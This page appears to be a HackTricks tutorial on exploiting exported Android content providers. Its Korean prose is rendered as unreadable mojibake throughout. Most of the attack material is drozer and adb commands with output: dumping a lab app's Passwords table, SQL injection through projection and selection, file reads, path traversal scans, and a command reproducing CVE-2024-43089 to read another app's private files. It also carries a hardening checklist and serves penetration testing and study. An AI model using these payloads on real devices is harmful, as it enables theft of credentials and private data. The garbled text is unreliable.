Exploiting Content Providers
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Intro
๋ฐ์ดํฐ๋ content provider๋ก ์๋ ค์ง ๊ตฌ์ฑ ์์์ ์ํด ์์ฒญ ์ ํ๋์ ์ ํ๋ฆฌ์ผ์ด์ ์์ ๋ค๋ฅธ ์ ํ๋ฆฌ์ผ์ด์ ์ผ๋ก ๊ณต๊ธ๋ฉ๋๋ค. ์ด๋ฌํ ์์ฒญ์ ContentResolver class ๋ฉ์๋๋ฅผ ํตํด ๊ด๋ฆฌ๋ฉ๋๋ค. Content provider๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค, ํ์ผ ๋๋ ๋คํธ์ํฌ์ ๊ฐ์ ๋ค์ํ ์์น์ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ ์ ์์ต๋๋ค.
Manifest.xml ํ์ผ์์๋ content provider์ ์ ์ธ์ด ํ์ํฉ๋๋ค. ์๋ฅผ ๋ค์ด:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
content://com.mwr.example.sieve.DBContentProvider/Keys์ ์ ๊ทผํ๋ ค๋ฉด READ_KEYS ๊ถํ์ด ํ์ํฉ๋๋ค. ํฅ๋ฏธ๋กญ๊ฒ๋, /Keys/ ๊ฒฝ๋ก๋ ๊ฐ๋ฐ์๊ฐ /Keys๋ฅผ ๋ณดํธํ์ง๋ง /Keys/๋ฅผ ์ ์ธํ๋ ์ค์๋ก ์ธํด ๋ณดํธ๋์ง ์๋ ๋ค์ ์น์
์์ ์ ๊ทผํ ์ ์์ต๋๋ค.
์๋ง๋ ๊ฐ์ธ ๋ฐ์ดํฐ์ ์ ๊ทผํ๊ฑฐ๋ ์ผ๋ถ ์ทจ์ฝ์ (SQL Injection ๋๋ Path Traversal)์ ์ ์ฉํ ์ ์์ต๋๋ค.
๋ ธ์ถ๋ ์ฝํ ์ธ ์ ๊ณต์์์ ์ ๋ณด ๊ฐ์ ธ์ค๊ธฐ
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
DBContentProvider์ ๋๋ฌํ๋ ๋ฐฉ๋ฒ์ โcontent://โ๋ก ์์ํ๋ URI๋ฅผ ํตํด ์กฐํฉํ ์ ์์ต๋๋ค. ์ด ์ ๊ทผ ๋ฐฉ์์ Drozer๋ฅผ ์ฌ์ฉํ์ฌ ์ป์ ํต์ฐฐ๋ ฅ์ ๊ธฐ๋ฐํ๋ฉฐ, ์ฃผ์ ์ ๋ณด๋ /Keys ๋๋ ํ ๋ฆฌ์ ์์นํด ์์์ต๋๋ค.
Drozer๋ ์ฌ๋ฌ URI๋ฅผ ์ถ์ธกํ๊ณ ์๋ํ ์ ์์ต๋๋ค:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
๋น์ ์ ContentProvider ์ฝ๋๋ฅผ ํ์ธํ์ฌ ์ฟผ๋ฆฌ๋ฅผ ๊ฒ์ํด์ผ ํฉ๋๋ค:
 (1) (1) (1).png)
๋ํ, ์ ์ฒด ์ฟผ๋ฆฌ๋ฅผ ์ฐพ์ ์ ์๋ค๋ฉด onCreate ๋ฉ์๋์์ ContentProvider์ ์ํด ์ ์ธ๋ ์ด๋ฆ์ ํ์ธํ ์ ์์ต๋๋ค:
.png)
์ฟผ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ์ ๊ฒ์
๋๋ค: content://name.of.package.class/declared_name
๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ธฐ๋ฐ Content Providers
๋๋ถ๋ถ์ Content Providers๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ธํฐํ์ด์ค๋ก ์ฌ์ฉ๋ฉ๋๋ค. ๋ฐ๋ผ์, ์ ๊ทผํ ์ ์๋ค๋ฉด ์ ๋ณด๋ฅผ ์ถ์ถ, ์
๋ฐ์ดํธ, ์ฝ์
๋ฐ ์ญ์ ํ ์ ์์ ๊ฒ์
๋๋ค.
๋ฏผ๊ฐํ ์ ๋ณด์ ์ ๊ทผํ ์ ์๋์ง ํ์ธํ๊ฑฐ๋ ๊ถํ ์ฐํ ๋ฉ์ปค๋์ฆ์ ๋ณ๊ฒฝํด ๋ณด์ญ์์ค.
Content Provider์ ์ฝ๋๋ฅผ ํ์ธํ ๋ **query, insert, update ๋ฐ delete**์ ๊ฐ์ ์ด๋ฆ์ ํจ์๋ ํ์ธํ์ญ์์ค:
.png)
 (1) (1) (1) (1) (1) (1) (1).png)
์ด๋ค์ ํธ์ถํ ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
์ฟผ๋ฆฌ ๋ด์ฉ
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
Insert content
๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ฟผ๋ฆฌํ๋ฉด ์ด์ ์ด๋ฆ์ ์ ์ ์์ผ๋ฉฐ, ๊ทธ ํ DB์ ๋ฐ์ดํฐ๋ฅผ ์ฝ์ ํ ์ ์์ต๋๋ค:
.png)
.png)
์ฝ์ ๋ฐ ์ ๋ฐ์ดํธ ์ โstring์ ์ฌ์ฉํ์ฌ ๋ฌธ์์ด์ ๋ํ๋ด๊ณ , โdouble๋ก ๋๋ธ์ ๋ํ๋ด๋ฉฐ, โfloat, โinteger, โlong, โshort, โboolean์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
Update content
์ด์ ์ด๋ฆ์ ์๋ฉด ํญ๋ชฉ์ ์์ ํ ์ ์์ต๋๋ค:
.png)
Delete content
.png)
SQL Injection
**(SQLite)**์ ๋ํ SQL ์ธ์ ์
์ ํ
์คํธํ๋ ๊ฒ์ ํ๋ก์ ์
๋ฐ ์ ํ ํ๋๋ฅผ ์กฐ์ํ์ฌ ๊ฐ๋จํฉ๋๋ค.
Content Provider๋ฅผ ์ฟผ๋ฆฌํ ๋ ์ ๋ณด๋ฅผ ๊ฒ์ํ๊ธฐ ์ํ 2๊ฐ์ ํฅ๋ฏธ๋ก์ด ์ธ์๊ฐ ์์ต๋๋ค: โselection ๋ฐ โprojection:
.png)
์ด ๋งค๊ฐ๋ณ์๋ฅผ ์ ์ฉํ์ฌ SQL ์ธ์ ์ ์ ํ ์คํธํ ์ ์์ต๋๋ค:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Drozer์ ์ํ ์๋ SQLInjection ๋ฐ๊ฒฌ
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
ํ์ผ ์์คํ ๊ธฐ๋ฐ ์ฝํ ์ธ ์ ๊ณต์
์ฝํ ์ธ ์ ๊ณต์๋ ํ์ผ์ ์ ๊ทผํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค:
.png)
ํ์ผ ์ฝ๊ธฐ
์ฝํ ์ธ ์ ๊ณต์์์ ํ์ผ์ ์ฝ์ ์ ์์ต๋๋ค.
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
๊ฒฝ๋ก ํ์
ํ์ผ์ ์ ๊ทผํ ์ ์๋ค๋ฉด, ๊ฒฝ๋ก ํ์์ ์ ์ฉํด ๋ณผ ์ ์์ต๋๋ค(์ด ๊ฒฝ์ฐ์๋ ํ์ํ์ง ์์ง๋ง โ../โ์ ์ ์ฌํ ํธ๋ฆญ์ ์ฌ์ฉํด ๋ณผ ์ ์์ต๋๋ค).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Drozer์ ์ํ ์๋ ๊ฒฝ๋ก ํ์ ๋ฐ๊ฒฌ
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
2023-2025 ์ ๋ฐ์ดํธ ๋ฐ ์ต์ ํ
Drozer 3.x (Python 3) ์ถ์
WithSecure๋ 2022๋ ์ drozer์ ์ ์ง ๊ด๋ฆฌ๋ฅผ ์ฌ๊ฐํ๊ณ ํ๋ ์์ํฌ๋ฅผ Python 3(์ต์ 3.1.0 โ 2024๋ 4์)๋ก ํฌํ ํ์ต๋๋ค. ํธํ์ฑ ์์ ์ธ์๋ Content Providers ์์ ์ ํนํ ์ ์ฉํ ์๋ก์ด ๋ชจ๋์ด ํฌํจ๋์ด ์์ต๋๋ค:
scanner.provider.exportedโandroid:exported="true"์ธ ์ ๊ณต์๋ง ๋์ดํฉ๋๋ค.app.provider.grantโgrantUriPermission()์ ์๋์ผ๋ก ํธ์ถํ์ฌ Android 12+์์FLAG_GRANT_READ_URI_PERMISSION/FLAG_GRANT_WRITE_URI_PERMISSION์ ๊ธฐ๋ํ๋ ์ ๊ณต์์ ํต์ ํ ์ ์์ต๋๋ค.- Scoped Storage์ ๋ ๋์ ์ฒ๋ฆฌ๋ก Android 11+์์ ํ์ผ ๊ธฐ๋ฐ ์ ๊ณต์์ ์ฌ์ ํ ์ ๊ทผํ ์ ์์ต๋๋ค.
์ ๊ทธ๋ ์ด๋(ํธ์คํธ ๋ฐ ์์ด์ ํธ):
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
๋ด์ฅ๋ cmd content ํฌํผ ์ฌ์ฉ (ADB โฅ 8.0)
๋ชจ๋ ์ต์ Android ๊ธฐ๊ธฐ๋ ์์ด์ ํธ๋ฅผ ์ค์นํ์ง ์๊ณ ํ๋ก๋ฐ์ด๋๋ฅผ ์ฟผ๋ฆฌ/์ ๋ฐ์ดํธํ ์ ์๋ CLI๋ฅผ ์ ๊ณตํฉ๋๋ค:
adb shell cmd content query --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call --uri content://com.test.provider \
--method evilMethod --arg 'foo'
run-as <pkg> ๋๋ ๋ฃจํ
๋ ์
ธ๊ณผ ๊ฒฐํฉํ์ฌ ๋ด๋ถ ์ ์ฉ ์ ๊ณต์๋ฅผ ํ
์คํธํฉ๋๋ค.
Content Providers๋ฅผ ์ ์ฉํ ์ต๊ทผ ์ค์ CVE
| CVE | ์ฐ๋ | ๊ตฌ์ฑ ์์ | ๋ฒ๊ทธ ํด๋์ค | ์ํฅ |
|---|---|---|---|---|
| CVE-2024-43089 | 2024 | MediaProvider | openFile()์์์ ๊ฒฝ๋ก ํ์ | ๋ชจ๋ ์ฑ์ ๊ฐ์ธ ์ ์ฅ์์์ ์์ ํ์ผ ์ฝ๊ธฐ |
| CVE-2023-35670 | 2023 | MediaProvider | ๊ฒฝ๋ก ํ์ | ์ ๋ณด ์ ์ถ |
์ทจ์ฝํ ๋น๋์์ CVE-2024-43089 ์ฌํ:
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
API 30+์ ๋ํ ๋ณด์ ๊ฐํ ์ฒดํฌ๋ฆฌ์คํธ
- ์ ๊ณต์๊ฐ ๊ณต๊ฐ๋์ด์ผ ํ๋ ๊ฒฝ์ฐ๊ฐ ์๋๋ผ๋ฉด
android:exported="false"๋ฅผ ์ ์ธํ์ญ์์ค. API 31๋ถํฐ ์ด ์์ฑ์ ํ์์ ๋๋ค. - ์ ์ฒด ์ ๊ณต์๋ฅผ ๋ด๋ณด๋ด๋ ๋์ ๊ถํ์ ๊ฐ์ ์ ์ฉํ๊ฑฐ๋
android:grantUriPermissions="true"๋ฅผ ์ฌ์ฉํ์ญ์์ค. - ํ์ฉ๋
projection,selection๋ฐsortOrder์ธ์๋ฅผ ํ์ดํธ๋ฆฌ์คํธ์ ์ถ๊ฐํ์ญ์์ค (์:SQLiteQueryBuilder.setProjectionMap์ผ๋ก ์ฟผ๋ฆฌ ๋น๋). openFile()์์ ์์ฒญ๋ ๊ฒฝ๋ก๋ฅผ ์ ๊ทํํ๊ณ (FileUtils)..์ํ์ค๋ฅผ ๊ฑฐ๋ถํ์ฌ ํ์์ ๋ฐฉ์งํ์ญ์์ค.- ํ์ผ์ ๋
ธ์ถํ ๋๋ Storage Access Framework ๋๋
FileProvider๋ฅผ ์ ํธํ์ญ์์ค.
์ต๊ทผ Android ๋ฒ์ ์ ์ด๋ฌํ ๋ณ๊ฒฝ ์ฌํญ์ ๋ง์ ๋ ๊ฑฐ์ ์ต์คํ๋ก์ ์์ ๊ธฐ๋ฅ์ด ์ฌ์ ํ ์๋ํ์ง๋ง, ์
๋ฐ์ดํธ๋ drozer ๋ชจ๋์ด๋ cmd content ๋์ฐ๋ฏธ๊ฐ ์๋์ผ๋ก ์ ์ฉํ ์ ์๋ ์ถ๊ฐ ํ๋๊ทธ/๊ถํ์ด ํ์ํจ์ ์๋ฏธํฉ๋๋ค.
์ฐธ์กฐ
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
- https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf
- https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0
- https://source.android.com/security/bulletin/2024-07-01
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


